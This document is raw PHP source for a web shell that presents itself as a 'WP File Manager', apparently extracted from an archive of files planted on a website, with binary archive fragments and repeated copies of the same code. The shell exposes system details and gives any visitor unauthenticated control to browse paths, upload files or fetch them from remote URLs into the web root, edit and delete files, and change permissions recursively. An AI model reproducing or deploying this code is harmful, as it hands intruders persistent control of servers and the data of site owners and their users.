'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]qÜd©Ë©Ëinfo@hekurangashi.com/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK’&{]CO¹ò®Ë®Ëinfo@hekurangashi.com/ui.phpnu„[µü¤ uiiiiiiiXdsaXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
